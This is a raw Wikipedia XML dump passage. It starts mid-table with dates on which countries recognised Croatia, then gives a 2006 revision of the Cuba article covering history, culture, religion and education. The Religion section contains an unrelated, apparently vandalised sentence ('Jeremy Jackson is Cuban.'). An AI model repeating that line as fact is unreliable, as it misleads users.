| December 6, 1992
|
|-
| [[Knights Hospitaller|Sovereign Military Order of Malta]]
| December 22, 1992
|
|-
| [[Guatemala]]
| December 22, 1992
|
|-
| [[Brazil]]
| December 23, 1992
|
|-
| [[Czech Republic]]
| January 1, 1993
|
|-
| [[Slovakia|Slovak Republic]]
| January 1, 1993
|
|-
| [[Nigeria]]
| January 7, 1993
|
|-
| [[Peru]]
| January 12, 1993
|
|-
| [[Yemen]]
| January 17, 1993
|
|-
| [[Bahrain]]
| January 18, 1993
|
|-
| [[Tunisia]]
| January 30, 1993
|
|-
| [[Republic of Georgia]]
| February 1, 1993
|
|-
| [[Cyprus]]
| February 4, 1993
|
|-
| [[San Marino]]
| February 11, 1993
|
|-
| [[Ghana]]
| February 17, 1993
|
|-
| [[Philippines]]
| February 25, 1993
|
|-
| [[Japan]]
| March 5, 1993
|
|-
| [[Mongolia]]
| March 10, 1993
|
|-
| [[Canada]]
| April 14, 1993
|
|-
| [[Uruguay]]
| May 4, 1993 
|
|-
| [[São Tomé and Príncipe]]
| May 23, 1993
|
|-
| [[Tanzania]]
| July 2, 1993
|
|-
| [[Togo]]
| December 20, 1993
|
|-
| [[Tonga]]
| December 20, 1993
|
|-
| [[Samoa]]
| March 8, 1994
|
|-
| [[Jordan]]
| June 29, 1994
|
|-
| [[Vietnam]]
| July 1, 1994
|
|-
| [[Armenia]]
| July 8, 1994
|
|-
| [[Pakistan]]
| July 20, 1994
|
|-
| [[Kuwait]]
| August 10, 1994
|
|-
| [[Cape Verde]]
| August 13, 1994
|
|-
| [[Saint Vincent and the Grenadines]]
| October 7, 1994
|
|-
| [[Angola]]
| November 16, 1994
|
|-
| [[Lebanon]]
| December 5, 1994
|
|-
| [[Azerbaijan]]
| January 26, 1995
|
|-
| [[Ireland]]
| January 27, 1995
|
|-
| [[Uzbekistan]]
| February 6, 1995
|
|-
| [[Colombia]]
| April 25, 1995
|
|-
| [[Andorra]]
| April 28, 1995
|
|-
| [[Burkina Faso]]
| May 18, 1995
|
|-
| [[Saudi Arabia]]
| June 8, 1995
|
|-
| [[Mali]]
| September 20, 1995
|
|-
| [[Zambia]]
| September 20, 1995
|
|-
| [[Côte D'Ivoire]]
| October 17, 1995
|
|-
| [[Ethiopia]]
| October 17, 1995
|
|-
| [[Guinea-Bissau]]
| October 19, 1995
|
|-
| [[Costa Rica]]
| October 19, 1995
|
|-
| [[Afghanistan]]
| January 3, 1996
|
|-
| [[Belize]]
| January 23, 1996
|
|-
| [[Ecuador]]
| February 22, 1996
|
|-
| [[Laos]]
| March 4, 1996
|
|-
| [[Nicaragua]]
| March 29, 1996
|
|-
| [[Panama]]
| June 12, 1996
|
|-
| [[Turkmenistan]]
| July 2, 1996
|
|-
| [[Mozambique]]
| August 23, 1996
|
|-
| [[Serbia and Montenegro]]
| September 9, 1996
|
|-
| [[Cambodia]]
| September 10, 1996
|
|-
| [[Jamaica]]
| October 9, 1996
|
|-
| [[Kyrgyzstan]]
| December 23, 1996
|
|-
| [[Sri Lanka]]
| February 14, 1997
|
|-
| [[Maldives]]
| April 8, 1997
|
|-
| [[El Salvador]]
| July 24, 1997
|
|-
| [[Mauritius]]
| September 3, 1997
|
|-
| [[Israel]]
| September 4, 1997
|
|-
| [[Seychelles]]
| September 30, 1997
|
|-
| [[Senegal]]
| October 1, 1997
|
|-
| [[Saint Lucia]]
| December 10, 1997
|
|-
| [[Suriname]]
| December 17, 1997
|
|-
| [[Nepal]]
| February 6, 1998
|
|-
| [[The Gambia]]
| October 16, 1998
|
|-
| [[Lesotho]]
| November 6, 1998
|
|-
| [[Uganda]]
| March 10, 1999
|
|-
| [[Eritrea]]
| June 4, 1999
|
|-
| [[Comoros]]
| June 29, 1999
|
|-
| [[Myanmar]]
| September 3, 1999
|
|-
| [[Chad]]
| September 17, 1999
|
|-
| [[Antigua and Barbuda]]
| September 20, 1999
|
|-
| [[Honduras]]
| September 20, 1999
|
|-
| [[Grenada]]
| May 19, 2000
|
|-
| [[Nauru]]
| December 14, 2000
|
|-
| [[Benin]]
| March 26, 2001
|
|-
| [[Gabon]]
| October 22, 2001
|
|-
| [[Mauritania]]
| November 11, 2004
|
|-
| [[Iraq]]
| January 5, 2005
|
|-
|}
Source:  Ministry of Foreign Affairs of the Republic of Croatia [http://www.mfa.hr/MVP.asp?pcpid=1177]
&lt;br&gt;

== External links ==

* [http://www.seerecon.org/Croatia/Croatia.htm Economic Reconstruction and Development in South East Europe - Croatia]
* [http://www.ebrd.org/country/country/croatia/ EBRD and Croatia]
* [http://www.stabilitypact.org/ Stability Pact for South Eastern Europe]
* [http://europa.eu.int/comm/external_relations/see/sap/rep3/cr_croat.htm Opinion of the European Commission on the application of Croatia for membership of the European Union]
 
[[Category:Foreign relations of Croatia| ]]</text>
    </revision>
  </page>
  <page>
    <title>Cuba</title>
    <id>5583</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42093903</id>
      <timestamp>2006-03-03T20:05:33Z</timestamp>
      <contributor>
        <ip>24.128.147.169</ip>
      </contributor>
      <comment>/* Religion */</comment>
      <text xml:space="preserve">{{Infobox Country|
native_name=República de Cuba|
common_name=Cuba|
image_flag=Flag of Cuba.svg|
image_coat=Cuba coa.png|
image_map=LocationCuba.png|
national_motto=Patria y Libertad&lt;br&gt;(Spanish: Motherland and Freedom)|
national_anthem=[[La Bayamesa]] (The Bayamo Song)|
official_languages=[[Spanish language|Spanish]]|
capital=[[Havana]]|
latd=23|latm=8|latNS=N|longd=82|longm=23|longEW=W|
largest_city=[[Havana]]|
government_type=[[Communist State]] |
leader_titles=[[President]] &lt;small&gt;of the [[Council of State of Cuba|Council of State]]&lt;/small&gt;|
leader_names=[[Fidel Castro]]|
area_rank=104th|
area_magnitude=1_E11|
area=110,860|
areami² = 42,803 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
percent_water=negligible|
population_estimate=11,346,670|
population_estimate_year=2005|
population_estimate_rank=70th|
population_census=11,177,743|
population_census_year=2002|
population_density=102|
population_densitymi²    = 264 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank=73rd|
GDP_PPP_year=2004|
GDP_PPP=$33.9 billion|
GDP_PPP_rank=89th|
GDP_PPP_per_capita=$3,000|
GDP_PPP_per_capita_rank=126th|
HDI_year = 2005|
HDI = 0.817|
HDI_rank = 52nd|
HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;|
sovereignty_type=[[Independence]]|
established_events=&amp;nbsp;• Declared from Spain&lt;br&gt;&lt;br&gt;&amp;nbsp;• Cuban Republic declared&lt;br&gt;&amp;nbsp;• Date recognised in Cuba|
established_dates=[[Ten Years' War]]&lt;br&gt;[[October 10]] [[1898]]&lt;br&gt;[[Spanish-American War]]&lt;br&gt;[[May 20]] [[1902]]&lt;br&gt;[[January 1]], [[1959]]|
currency=[[Cuban peso|Peso]] (&lt;code&gt;[[ISO 4217|CUP]]&lt;/code&gt;)&lt;!-- kludge to deal with fact that template expects only one currency per country --&gt;&lt;br&gt;[[Cuban convertible peso|Convertible peso]] &lt;sup&gt;1&lt;/sup&gt;|
currency_code=CUC|
time_zone=[[North American Eastern Standard Time Zone|EST]]|
utc_offset=-5|
time_zone_DST=(Starts [[April 1]], end date varies)|
utc_offset_DST=-4|
cctld=[[.cu]]|
CCTLD=CU|
calling_code=53|
footnotes=&lt;sup&gt;1&lt;/sup&gt; 1993–2004, the [[United States dollar|U.S. dollar]] was used in addition to the peso until the dollar was replaced by the convertible peso.
}}{{Otheruses}}

The '''Republic of Cuba''' ([[Spanish language|Spanish]]: ''República de Cuba'', [[International Phonetics Alphabet|IPA]]: {{IPA|[re'puβlika ðe ˈkuβa]}}) consists of the island of Cuba (the largest of the [[Greater Antilles]]), the [[Isle of Youth]] and various adjacent small islands.  The name Cuba is said to be derived from the [[Arawakan languages|Taíno]] word ''cubanacán'', meaning &quot;a central place.&quot; At least as early as colonial times ''Cuba'' was the name given to areas near Santiago de Cuba.  It is located in the northern [[Caribbean]] at the confluence of the [[Caribbean Sea]], the [[Gulf of Mexico]] and the [[Atlantic Ocean]]. Cuba is south of the eastern [[United States]], and the [[Bahamas]], west of the [[Turks and Caicos Islands]] and [[Haiti]], and east of [[Mexico]]. The [[Cayman Islands]] and [[Jamaica]] are south of eastern Cuba.

==History==
{{main|History of Cuba}}
Cuba was first visited by Europeans when explorer [[Christopher Columbus]] made landfall here for the first time on [[October 28]], [[1492]], at the eastern tip, in the [[Cazigazgo]] of [[Baracoa]]. In [[1511]] [[Diego Velázquez de Cuéllar]] led the Spanish invasion, subdued the [[indigenous]] populations, to become governor of Cuba for Spain and built a villa in Baracoa, which became the first capital of the island and also in 1518 [http://www.newadvent.org/cathen/07153b.htm] was technically the seat of the ([[Diocese]]) of the first bishops of Cuba.  

At that time Cuba was populated by at least two distinct indigenous peoples: [[Taíno]] and [[Ciboney]] (or Siboney). Both groups were [[prehistoric]] [[neolithic]], perhaps [[copper age]], cultures. Some scholars consider it important to distinguish the Taíno from the [[neo-Taíno nations]] of Cuba, the [[Lucaya]] of the Bahamas, Jamaica, and to a lesser extent from Haiti and Quisqueya (approximately the Dominican Republic), since the neo-Taíno had far more diverse cultural input and a greater societal and ethnic heterogeneity than the true high Taíno of Boriquen (Puerto Rico).  Most of pre-Colombian inhabitants of Cuba, including the Siboney, can in first approximation be classified under the general group of neo-Taíno.  The Taíno were skilled farmers and the Ciboney were a hunter-gatherer society with supplemental farming. Taínos and Ciboney took part in similar customs and beliefs, one being the sacred ritual practiced using [[tobacco]] called ''cohoba'', known in English as smoking. 

The Taínos (Island Arawak) were part of a cultural group commonly called the [[Arawak]], which extends far into South America. Residues of Taíno poetry, songs, sculpture, and art are found today throughout the major [[Antilles]].  It is well known that these neo-Taíno had metallurgical skills, and it has been postulated by some e.g. [[Paul Sidney Martin]] [http://www.fieldmuseum.org/research_collections/anthropology/anthro_sites/paul_martin/martin_web/biostate.html], that the inhabitants of these islands mined and exported metals such as copper (Martin et al. 1947). The Arawak and other such cultural groups are responsible for the flourishing development of perhaps 60% of crops in common use today and some major industrial materials such as rubber. Europeans were shown by the indigenous Cubans how to cultivate  tobacco and to smoke it in various ways.

Approximately 16 to 60 thousand, or perhaps many more, indigenous from the Taíno and Ciboney nations inhabited Cuba before colonization. The Indigenous Cuban population, including the Ciboney and the Taíno, were forced into [[encomiendas]] during the Spanish subjugation of the island of Cuba.  One famous mainly indigenous town was Guanabacoa, today a suburb of Havana. Others were Jiguani, and Baracoa. Many indigenous Cubans fell victim to the brutality of Spanish conquistadores (as witnessed and lamented by [[Bartolomé de Las Casas]]) and the diseases they brought with them, which were previously unknown to them.  Most Conquistadors took Taínas as brides, common law wives or as was more frequent had casual sexual congress with these island women [http://opwest.org/Archive/2003/200303_OriqueThesis/200303_01_oriquethesis.htm] since few Spanish women crossed the Atlantic in those days of conquest. Their children were called mestizo, but the residents called them [[Guajiro]], which originating in a Taino word roughly equivalent to [[squire]] has been translated as &quot;one of us.&quot;  They became the yeomen of Cuban wars [[neo-Taíno nations]]. Today, Taíno descendants maintain their heritage near [[Baracoa]].

Cuba had first served as base for Spanish conquest of the mainland of the Americas, but the island was almost depopulated in this effort. After the conquest of the Americas the resulting [[treasure]], mined gold and silver, emeralds, chocolate and several then important plant products such as dyes and medicine was transported in the [[Spanish treasure fleet]] from the Americas and later from the Philippines to Spain using Cuban ports as safe harbors along the way. In this period there were further indigenous risings most especially that of [[Guamá]], one of the last Taino leaders to organize resistance to Spanish rule.

But once Taino/Ciboney uprisings were no longer a concern, new ones arose from buccaneers, pirates, and privateers (e.g. Jacques de Sores [http://www.globalsecurity.org/military/world/cuba/colonial.htm]), [[Alexander Exquemelin]] and [[Henry Morgan]]) and invasions as other countries (e.g. England [[Guantánamo Bay]]) tried to take the possessions that the Spanish had gathered for themselves, and their colonial descendants viewed as their own.  Attacks on both ships and cities required Spain to respond by organizing convoys to protect the ships and building forts to protect the cities.  However, Cuba’s most effective defense was [[yellow fever]] which killed off invading forces.

[[Image:Cuba modis.jpg|thumb|left|300px|Cuba as seen from space]]

Spanish [[mercantilism]] caused Spain to keep Cuba relatively isolated to external influences, but beginning with the year long occupation of Havana by the British in 1762 at the end of the [[Seven Years' War]], Cuba became more open economically to both the importation of slaves and advances in sugar cultivation and processing. The massive [[La Cabaña]] fortress, never taken by assault, which completely dominates Havana Bay was built soon after Havana, exchanged for Florida, was returned to Spain. However, the fortress would later become infamous as a place of execution and imprisonment, not unlike the [[Bastille]] in Paris. Cuban colonial forces participated in Spain's efforts during the American Revolutionary War, helping Spain to gain [[East Florida|East]] and [[West Florida|West]] Florida. Between 1791 to 1804, many French fled to Cuba from the [[Haitian revolution]], bringing with them slaves and expertise in [[sugar]] refining and [[coffee]] growing. As a result Cuba became the world's major sugar producer, but by 1884, slavery was abolished after having been weakened during the struggle to secure independence for Cuba.

The colony's struggle for independence lasted throughout the second half of the 19th century with the first effort with any success being the [[Ten Years' War]] beginning in 1868 . The writer and rebel organizer [[José Martí]] landed in Cuba with rebel exiles in 1895, but little more than a month later was killed in battle. He remains the major hero in Cuba to this day, and his legacy is claimed by both the supporters and opponents of the current government. While he expressed a preference for the U.S. Constitution and enjoyed some popularity in the United States, he was concerned about U.S. expansionism. 

It is notable that some Taíno first fought the Mambi and then joined them  to comprise the Hatuey Regiment [http://www.kacike.org/Barreiro.html]. Between 1895 and early 1898 revolution controlled most of the countryside and some towns, but the efforts of the Spanish, who held the major cities, to pacify the island did not cease until the United States occupied the island in the [[Spanish-American War]] of 1898. Cuban independence was granted in 1902, though limited by the [[Platt Amendment]], which granted the United States a major influence in Cuban affairs and required Cuba to grant the United States a lease for [[Guantánamo Bay]]. [[Tomás Estrada Palma]] (term 1902-1906) was Cuba's first peacetime and elected president. Using the provisions of the Platt Amendment, U.S. troops occupied Cuba a second time from 1906 to 1909.  The Platt Amendment was revoked in 1934, but the lease of Guantánamo Bay was extended against a nominal sum.

[[Fulgencio Batista]], a leader of the 1933 ''Sergeants' Revolt'' that overthrew the transitional government after [[Gerardo Machado]]’s dictatorship collapsed, became first the Army Chief of Staff and eventually the man in charge under a series of presidents. In 1940 he was elected president himself. He had passed a new progressive constitution and in 1944 left office retiring to Florida for a time. However, in 1952 Batista seized power in an almost bloodless coup three months before the planned election and instituted an oppressive dictatorship. As a result many civil and guerrilla groups started opposing him.

[[Image:Cuba yank tank.jpg|thumb|300px|One of many Cuban ''Maquinas'', aka ''Yank tanks'']]

In 1953, [[Fidel Castro]] attacked the [[Moncada barracks]], and was exiled to Mexico. He returned to Cuba on November 1956 with 82 fighters trained by [[Alberto Bayo]] (a former colonel in the Spanish Republican Army), and with the help of popular discontent managed to overthrow Batista. Batista fled the country on [[1 January]] [[1959]]. Castro established a Soviet-leaning one party [[Communist state]], the first in the Western Hemisphere, although Castro did not officially reveal his Marxist-Leninist leanings until 1961.

According to [[Antonio Núñez Jiménez]] at the time when Batista was deposed, 75% of Cuba's prime farm land was owned by foreign individuals or foreign (mostly U.S.) companies. Cuba’s main crop was sugar, for the American and to a lesser extent English market. Most of Cuba's sugar was exported to the United States because Cuba was given a large quota, which was paid above world prices in part to help domestic US industry. After the revolution, [[Che Guevara]], industrial minister at the time, negotiated with the [[USSR]] for the export of Cuban sugar after the US decreased its imports of sugar from Cuba. [http://www.latinamericanstudies.org/cable/cable-3-16-55.htm] The new revolutionary government adopted successive &quot;land reforms&quot; and eventually confiscated almost all private property. At first, Castro was reluctant to discuss his plans for the future, but eventually he declared himself a [[communism|communist]], and with the backing of Che Guevara, explained that he was trying to build [[socialism]] in Cuba, focusing on free [[health care]] and [[education]] for all, and began close political and economic relations with the [[Soviet Union]] and to a lesser extent with [[China]].  The USSR long after the [[Cuban Missile Crisis|Missile Crisis]] had bases in Cuba (e.g. at Bejucal and Bahia  Honda), and the Chinese government still maintains a large [[electronic surveillance]] presence especially at a base in Havana Province.  

Since Castro came to power, the United States has since progressively enacted legislation intended to isolate Cuba economically via the [[United States embargo against Cuba|U.S. embargo]] and other measures, such as prosecuting US citizens who vacation in Cuba. For more on these issues see the [[Cuba#Economy|Economy]] section below

The [[Bay of Pigs invasion]] of April 1961 by U.S. backed Cuban expatriates failed because U.S. president [[John F. Kennedy]] left the invaders stranded for fear of getting officially involved. The expected urban revolt collapsed when it became clear Brigade 2506 had been abandoned to its fate; and because the Soviet Union warned Castro, who ordered numerous executions and preemptive mass arrests of those thought likely to support a counter-revolution. [http://www.uoregon.edu/~caguirre/ackerman.pdf], (Priestland, 2003). Church schools were confiscated, clergy were arrested, [http://www.fiu.edu/~fcf/clark12298.html] and expelled en masse. In the rural central provinces the [[War Against the Bandits]] (circa 1959-1965) was suppressed by massed Castro militia, many executions and internal deportations of rebel supporters.

The [[Cuban Missile Crisis]] started with the Soviet Union installing nuclear missiles in Cuba in 1962. In response, the United States put up a [[blockade]] in international waters. This is generally believed to be the closest the world has come to a [[nuclear war]]. The [[Soviet Union]] backed down, agreeing to remove the missiles in exchange for United States promises to remove similar nuclear missiles in [[Turkey]] and to never invade Cuba again.

Between 1962 and the early 1970s, it has been known that Cuba sent trained guerillas to numerous South and Central American nations to aid in socialist revolutions which were, at the time, in progression. It was in [[Bolivia]] that Che Guevara, a major proponent of the [[socialist]] revolution, was assassinated after leading a Cuban led rebellion in the jungles of Bolivia. Not only did Cuba aid in numerous South and [[Central American]] rebellions, but also in the [[Democratic Republic of the Congo]], on the African continent. Che Guevara is known to have led the Cubans in the rebellion in the DRC, formerly known as [[Zaire]]. Within Cuba, Che is held as a hero of the socialist movement, but only since the mid 1980s, when the launch of the 'Era of Rectification' saw his ideas being re-asserted as Cuba distanced itself from Gorbachev's USSR.

After this, the United States never openly threatened Cuba again, but was said to engage in absurdly elaborate covert activities to assassinate Castro, namely [[The Cuban Project]]. Castro and the US dueled in Cold War actions as is described in much insider detail by [[Henry Kissinger]] in his book ''Years of renewal''. In a 1976 notorious terrorist attack on [[Cubana Flight 455]] in which 73 died was allegedly masterminded by CIA funded Castro opponents operating from Venezuela. The United States has also supported anti-Castro terrorist groups in their attacks against Cuba. [http://www.voltairenet.org/article132624.html] [http://www.zmag.org/sustainers/content/2005-04/30franklin_.cfm].

Cuba [http://.org/espionage/] and the US have also engaged in continuing acts of espionage against one another [http://www.forbes.com/entrepreneurs/feeds/ap/2006/01/11/ap2443638.html], [http://www.miami.com/mld/miamiherald/13588460.htm]. It is believed by some[http://www.cubanet.org/CNews/y01/mar01/21e8.htm] [http://www.miami.com/mld/miamiherald/news/world/americas/13322868.htm] although disputed by others [http://www.nytimes.com/2006/01/09/movies/MoviesFeatures/09terror.html], that the Cuban government, now allied with its Venezuelan counterpart, continues &quot;destabilization&quot; activities efforts supporting radical and violent Marxist groups in the U.S. and Latin America [http://news.yahoo.com/s/afp/20060111/wl_afp/peruvenezuela_060111190735], [http://www.miami.com/mld/miamiherald/news/world/americas/13322868.htm]. 
[http://www.miami.com/mld/elnuevo/13595594.htm]. 

In April 1980, over 10,000 Cubans stormed the Peruvian embassy in Havana seeking political asylum. In response to this, Castro allowed anyone who desired to leave the country to do so through the port of Mariel. Under the [[Mariel boatlift]], over 125,000 Cubans migrated to the United States. Eventually the United States stopped the flow of vessels and Cuba ended the uncontrolled exodus.

The [[collapse of the Soviet Union]] in 1991 dealt Cuba a giant economic blow. This led to another unregulated exodus of asylum seekers to the United States in 1994, which was slowed to a trickle of a few thousand a year by the U.S.-Cuban accords. Now it is increasing again although at a far slower rate than before [http://www.miami.com/mld/miamiherald/news/world/c]

== Culture ==
{{main|Culture of Cuba}}
[[Image:cuba_habana_vieja_casa_de_simon_bolivar.jpg|thumb|300px|The courtyard of one of the free museums in Havana, the 'Casa de Simón Bolívar']]

* [[Music of Cuba]]
* [[Present State of Cuban Literature]]
* [[Famous Cuban poetry and literature]]
* [[Cuban cinema]]
* [[Public holidays in Cuba]]

Cuban culture is much influenced by the fact that it is a [[melting pot]] of cultures, mostly from Spain and Africa. It has produced more than its fair share of literature, including the output of non-Cubans [[Stephen Crane]], and  [[Ernest Hemingway]].

===Present State of Cuban Literature===
Cuban authors continue to produce large amounts of government-supported printed and electronic work inside the island [http://havanajournal.com/politics/entry/author_william_blum_denied_us_license_to_travel_to_cuba]. The Cuban government also funds a large number of booths at book fairs in Latin America. A good number of university presses in the United States continually present scholarly volumes on various Cuban topics. Authors both for and against the present Cuban government present their views in the U.S. Amazon.com (run by [[Jeff Bezos]], who was raised by a Cuban family) currently lists 6,026 titles dealing with Cuba; Barnesandnoble.com lists 3,126. Borders book stores carry 1,991 titles on Cuba in stock.

===Sampling of famous Cuban poetry, music, literature and  art===

*'''Arenas, Reinaldo'''  1943-1990  openly gay poet, novelist and playwright.  He was the winner of major prizes from UNEAC (The Union of Cuban Writers and Artists) in 1965 and 1966.  While originally sympathetic to the 1959 revolution, his works demonstrate his growing criticism of the revolution’s repression of homosexuals and artists.  His five volume work, the  Pentagonia is subtitled a &quot;secret history&quot; of post-revolutionary Cuba. [http://libweb.princeton.edu/libraries/firestone/rbsc/aids/arenas.html]

*'''de Balboa y Troya de Quesada''', ''Silvestre'' (1563-1649) 1608 Espejo de Paciencia. [http://www.4thcorp.com/camaguey/espejo_de_paciencia.htm]. First known Cuban narrative poem deals with the killing of an attacking pirate by the people of Bayamo

*'''Gómez de Avellaneda, Gertrudis''' (1814-1873) Her large body of excellent work includes the anti-slavery novel ''Dos mugeres'' (1842) and the play ''Baltasar'' (1858)   [http://www.hope.edu/latinamerican/gomezavellaneda.html]

*'''Lecuona, Ernesto''' (1895-1962) First major composition, ''Malaguena'', Roxy Theatre in New York 1927. [http://www.spaceagepop.com/lecuona.htm], [http://ourworld.compuserve.com/homepages/mvbart/]. 

*'''Menocal, Armando''' (1863-1941) Cuban painter his works, often displayed in Cuban public buildings, illustrate scenes of the Cuban [[War of Independence]] include ''La  Muerte de Maceo'' (the death of  Antonio Maceo) and have been subject to ownership dispute [http://www.alocubano.com/los_pintores_clasicos_de_cuba.htm] [http://www.moas.org/perm_4.html] [http://www.periodico26.cu/english/culture/cuban012706.htm] [http://72.14.207.104/search?q=cache:MN0AZNinimAJ:www.subastahabana.com/author.asp%3Fid%3D231%26language%3D2+Armando+menocal+Cuba+painting&amp;hl=en&amp;gl=us&amp;ct=clnk&amp;cd=1]

*'''Napoles Fajardo, Juan Cristobal''' (born 1829; believed killed by Spanish authorities in 1862) Selected work in Cucalambe (Decimas Cubanas): Seleccion De Rumores Del Hormigo. Ediciones Universal. 1999 ISBN 0897298780 An example of [[Siboneyista]] poetry, a 19th Century resistance movement which expressed its, then illegal, wish to be free of Spain couched as Siboney, one of the [[Neo-Taíno nations]] poetry and narrations. 

*'''Simons, Moisés''' 1928 ''El Manisero'' (the ''[[Peanut Vendor]]'')  An extremely popular song with complex poly-rhythms.  The author was a Jewish immigrant to Cuba. In the Cuban vernacular  to &quot;cantar el manisero&quot; to sing this song is to die.  The ''Peanut Vendor'' inspired classically trained Joseph Norman Henderson, author of [[Cuban Pete]], to change his name to [[Jose Norman]] [http://www.jabw.demon.co.uk/jose1.htm] and dedicate his work to music from the island  [http://www.ualberta.ca/~aminkus/ProgramNotes.htm] [http://www.smithsonianjazz.org/latinjazz/latinjazz_education_tl.asp] [http://sc.millersville.edu/manuscripts/manus/scoreP.htm] [http://www.produccionesdelmar.com/longina/Autores/Moises_Simmons/]

*'''Valdes, Zoe''' 1999 ''I Gave You All I Had''. Arcade Publishing; 1st English-language edition. ISBN 1559704772 Book is part of a  second wave of literature written by exiles who escaped Cuba in the latter part of the Castro years

*'''Valdéz, Gabriel de la Concepción''' (Plácido) 1809-1844 (executed)  Major, most well known poem and last poem ''Plegaria a Dios''. [http://www.juanperez.com/triviaI.html], [http://72.14.203.104/search?q=cache%3AGKjIPeDnc1AJ%3Awww.afrocubaweb.com/eugenegodfried/placidoenglish.htm%2B%26hl%3Den%26ie%3DUTF-8]  His poetry, was often considered subversive and anti-slavery by the Spanish authorities

*'''Villaverde, Cirilo''' 1882 (New translation 2005 by Sibylle Fischer and Helen Lane) ''Cecilia Valdes'' or ''El Angel Hill''.  Oxford University Press, USA ISBN 0195143957  Deals with sexual mores and the traditions of mistresses during the Spanish colonial period, with many historic details, including the execution of [[Narciso Lopez]]. The author was first condemned to death for conspiring for independence against Spain [http://uncpress.unc.edu/chapters/lazo_writing.html]; after his sentence was commuted to ten years he escaped [http://www.pinarte.cult.cu/gerardo_ortega/html/figuras_pinarenas/villaverde.htm].

===Compendia of Cuban Literature ===
*García, Calixto 1973 El Negro en la Narrativa Cubana. PhD. Thesis.  The City University of New York. UMI Dissertation Services, Ann Arbor, Michigan [http://www.umi.com/products_umi/dissertations/]  This Calixto García Iñiguez, was grandson of [[Calixto Garcia]] and was very familiar with the political and ethnic scene of Cuba in the 1940s and 1950s especially in Oriente Province.    

*Lazo, Rodrigo 2005 Writing to Cuba Filibustering and Cuban Exiles in the United States. University of North Carolina Press, ISBN 0807855944

===Cuban music===
{{main article|[[Music of Cuba]]}}
Cuban music is very rich and is the most commonly known expression of culture. The &quot;central form&quot; of this music is [[Son (music)|Son]], which has been the basis of many other musical styles like [[Salsa music|salsa]] and [[mambo]] and a slower derivation of mambo, the [[cha-cha-cha]].  The [[Tres]] was also invented in Cuba, but other traditional Cuban instruments are of African and/or [[Neo-Taíno nations]], multination indigenous origins such as the [[Maraca|maracas]], [[güiro]], [[Marimba|marímba]] and various wooden [[drum]]s such as the [[mayohuacan]] (''Zayas y Alfonso, 1914'') [[Alfredo Zayas]]. Popular Cuban music of all styles has been enjoyed and praised widely across the world.  Cuban classical music, which includes music with strong African and European influences, and features symphonic works as well as music for soloists, has also won international thanks to composers like [[Ernesto Lecuona]].

===Religion===
{{main articles|[[Santería]], [[Palo Monte]], and [[Catholicism]]}}
The religious landscape of Cuba is strongly marked by [[syncretism]]s of various kinds, the majority of which include elements of [[Roman Catholicism]]. The various religious beliefs in Cuba are by no means exclusive, and one can easily be a follower of several religious currents at the same time, as well as being a member of the communist party. [[Pentecostal]]ism is also growing rapidly, and the [[Assemblies of God]] alone claims a membership of over 100,000 people. Jeremy Jackson is Cuban.

Cuba has small but vibrant [[Jew]]ish, [[Muslim]] and [[Bahá'í Faith|Bahá'í]] populations. Havana still has three active [[synagogue]]s and one [[mosque]]. In the 1960s about 8,000 Jews left for Miami [http://www.jafi.org.il/papers/2005/sept/sept28hz.htm]. Around 1999 over several years almost 400 Cuban Jews, from a population once numbering about ten thousand [http://www.frontpagemag.com/Articles/ReadArticle.asp?ID=10710],[http://www.jewishsf.com/content/2-0-/module/displaystory/story_id/22407/format/html/displaystory.html], left for Israel [http://www.jafi.org.il/papers/1999/oct/phioct12.htm].

On [[6 January]] the [[Epiphany]] (known as the ''Día de Reyes Magos'' which in English translates &quot;Day of the Kings&quot;) is celebrated to commemorate the day that the [[Magi|Three Wise Men]] came to visit Jesus according to the [[Gospel]]s. As in most Spanish American countries as well as Spain, this day is celebrated in conjunction with, or sometimes instead of Christmas Day.

Important religious festivals include various days dedicated to the saints such as the &quot;Virgen de la [[Caridad del Cobre]]&quot; (the Virgin of Cobre, Cuba's patron saint, syncretised with Santería's [[Ochún]]) on [[September 8]], and ''San Lázaro'' ([[Lazarus]]) (syncretised with [[Babalu Ayé]]), on [[December 17]].

== Society ==
=== Education ===
{{main|Education in Cuba}}
The [[University of Havana]], Cuba's oldest university, was founded in 1721; prior to 1959 there were other official universities including : Universidad de Oriente (founded in 1947) and Universidad Central de Las Villas (founded in 1857); private universities included: Universidad Católica de Santo Tomás de Villanueva (founded in 1946); Universidad Masónica, and the Universidad de la Salle in Nuevo Vedado.  In 1961 private schools and universities were nationalized (without payment),  [http://lanic.utexas.edu/la/cb/cuba/asce/cuba5/FILE25.PDF], [http://sunsite.tus.ac.jp/pub/academic/chemistry/iupac/Download/publications/ci/1999/march/cuba.html]. Historically, Cuba has had some of the highest rates of education and literacy in Latin America [http://lanic.utexas.edu/la/cb/cuba/asce/cuba8/30smith.pdf]. Yet, before the revolution, the illiteracy was at 23,6 percent (50 percent in rural areas). Due to a massive campaign coordinated by the government but executed by the population, illiteracy was eradicated a few years after the Cuban revolution.

In a 1998 study by [[UNESCO]] [http://fcis.oise.utoronto.ca/~daniel_schugurensky/assignment1/1998cuba.html], and as explained by Fidel Castro, Havana, on September 16, 2002 [http://homepages.poptel.org.uk/markburton/fideledn.html] Cuban education progress is excellent. Cuban third and fourth graders were reported better educated in basic language and mathematics skills than children in other Latin American countries that took part in the study, with the &quot;test achievement of the lower half of students in Cuba is significantly better than the test achievement of the upper half of students in the countries that (fell) immediately behind Cuba&quot; in the study group [http://www.imf.org/external/pubs/ft/fandd/2005/06/cohen.htm].  [http://fcis.oise.utoronto.ca/~daniel_schugurensky/assignment1/1998cuba.html].  UNESCO data is reported as “estimates compiled from national population censuses and household surveys and updated to 2005” [http://www.uis.unesco.org/template/pdf/EducGeneral/InterpretingCountryProfiles.pd].  Cuba’s literacy rates by this criteria at 15 to 24 years of age (both male and female) is 100% [http://www.uis.unesco.org/profiles/EN/GEN/countryProfile_en.aspx?code=1920].

Not all are so sanguine about Cuban education, and lacunae in curriculum at all levels of education are common (Orro Fernandez, 2004). However, discipline is excellent and all students regardless of age and gender wear school uniforms with the color denoting grade level.

=== Public health === 
{{main|Public health in Cuba}}

{|style=&quot;float:left;padding-right:2em&quot;
|+ '''[[World Health Organization|WHO]] health statistics for Cuba'''&lt;br&gt;&lt;small&gt;Source: [http://www.who.int/countries/cub/en/ WHO country page on Cuba]&lt;/small&gt; 
|-
|align=right|''Life expectancy at birth m/f:''
||75.0/79.0 (years)
|-
|align=right|''Healthy life expectancy at birth m/f:''
|67.1/69.5 (years)
|-
